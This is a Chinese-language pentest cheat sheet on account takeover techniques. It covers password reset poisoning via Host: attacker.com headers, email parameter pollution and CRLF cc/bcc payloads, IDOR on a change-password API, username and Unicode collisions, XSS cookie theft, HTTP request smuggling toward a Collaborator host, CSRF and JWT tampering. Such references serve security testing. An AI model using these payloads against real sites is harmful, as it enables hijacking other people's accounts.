跳转至

账户接管 (Account Takeover)

账户接管 (ATO) 是网络安全领域的一个重大威胁,涉及通过各种攻击向量未经授权访问用户的账户。

摘要 (Summary)

密码重置功能 (Password Reset Feature)

通过 Referrer 泄露密码重置令牌 (Password Reset Token Leak via Referrer)

  1. 请求将密码重置链接发送到您的电子邮箱
  2. 点击密码重置链接
  3. 不要更改密码
  4. 点击任何第三方网站(如:Facebook, twitter)
  5. 在 Burp Suite 代理中拦截请求
  6. 检查 referer 标头是否泄露了密码重置令牌。

通过密码重置投毒实现账户接管 (Account Takeover Through Password Reset Poisoning)

  1. 在 Burp Suite 中拦截密码重置请求
  2. 在 Burp Suite 中添加或编辑以下标头:Host: attacker.com, X-Forwarded-Host: attacker.com
  3. 转发带有修改后的标头的请求

    POST https://example.com/reset.php HTTP/1.1
    Accept: */*
    Content-Type: application/json
    Host: attacker.com
    
  4. 寻找基于 host 标头 的密码重置 URL,例如:https://attacker.com/reset-password.php?token=TOKEN

通过 Email 参数重置密码 (Password Reset via Email Parameter)

# 参数污染 (parameter pollution)
email=victim@mail.com&email=hacker@mail.com

# Email 数组 (array of emails)
{"email":["victim@mail.com","hacker@mail.com"]}

# 抄送 (carbon copy)
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# 分隔符 (separator)
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

API 参数上的 IDOR (IDOR on API Parameters)

  1. 攻击者必须登录自己的账户并进入修改密码功能。
  2. 启动 Burp Suite 并拦截请求
  3. 将请求发送到 repeater 标签并编辑参数:User ID/email

    POST /api/changepass
    [...]
    ("form": {"email":"victim@email.com","password":"securepwd"})
    

弱密码重置令牌 (Weak Password Reset Token)

密码重置令牌应当是随机生成的,且每次都是唯一的。 尝试确定令牌是否过期,或者是否始终相同。在某些情况下,生成算法很弱,可以被猜测。算法可能会使用以下变量:

  • 时间戳 (Timestamp)
  • 用户 ID (UserID)
  • 用户邮箱 (Email of User)
  • 名和姓 (Firstname and Lastname)
  • 出生日期 (Date of Birth)
  • 密码学 (Cryptography)
  • 仅数字 (Number only)
  • 短令牌序列(少于 6 个字符,范围 [A-Z,a-z,0-9])
  • 令牌重用
  • 令牌过期日期

泄露密码重置令牌 (Leaking Password Reset Token)

  1. 使用 API/UI 为特定邮箱触发密码重置请求,例如:test@mail.com
  2. 检查服务器响应并寻找 resetToken
  3. 然后在 URL 中使用该令牌,例如 https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

通过用户名冲突重置密码 (Password Reset via Username Collision)

  1. 使用与受害者相同的用户名在系统上注册,但在用户名之前和/或之后插入空格。例如:"admin "
  2. 使用您的恶意用户名请求密码重置。
  3. 使用发送到您邮箱的令牌并重置受害者的密码。
  4. 使用新密码登录受害者账户。

CTFd 平台曾存在该攻击的漏洞。 参见:CVE-2020-7245

由于 Unicode 归一化问题导致的账户接管 (Account Takeover Due To Unicode Normalization Issue)

当处理涉及 Unicode 的用户输入以进行大小写映射或归一化时,可能会出现意外行为。

  • 受害者账户:demo@gmail.com
  • 攻击者账户:demⓞ@gmail.com

Unisub - 一款可以建议可能被转换为给定字符的潜在 Unicode 字符的工具

Unicode 渗透测试速查表 (Unicode pentester cheatsheet) 可用于根据平台查找合适的 Unicode 字符列表。

通过 Web 漏洞实现账户接管 (Account Takeover via Web Vulnerabilities)

通过跨站脚本 (XSS) 实现账户接管 (Account Takeover via Cross Site Scripting)

  1. 在应用程序或子域名中发现一个 XSS(如果 Cookie 的作用域包含父域名:*.domain.com
  2. 窃取当前的会话 Cookie (sessions cookie)
  3. 使用该 Cookie 以用户身份进行身份验证

通过 HTTP 请求走私实现账户接管 (Account Takeover via HTTP Request Smuggling)

请参考 HTTP Request Smuggling (HTTP 请求走私) 漏洞页面。

  1. 使用 smuggler 检测 HTTP 请求走私的类型(CL, TE, CL.TE)

    git clone https://github.com/defparam/smuggler.git
    cd smuggler
    python3 smuggler.py -h
    
  2. 构造一个请求,用以下数据覆盖 POST / HTTP/1.1

    GET http://something.burpcollaborator.net  HTTP/1.1
    X: 
    
  3. 最终请求可能如下所示:

    GET /  HTTP/1.1
    Transfer-Encoding: chunked
    Host: something.com
    User-Agent: Smuggler/v1.0
    Content-Length: 83
    
    0
    
    GET http://something.burpcollaborator.net  HTTP/1.1
    X: X
    

利用此漏洞的 Hackerone 报告:

通过 CSRF 实现账户接管 (Account Takeover via CSRF)

  1. 创建 CSRF 的 Payload,例如:“用于修改密码的自动提交 HTML 表单”
  2. 发送 Payload

通过 JWT 实现账户接管 (Account Takeover via JWT)

JSON Web Token 可能会被用于验证用户身份。

  • 使用另一个用户 ID / 邮箱编辑 JWT
  • 检查是否存在弱 JWT 签名

参考资料 (References)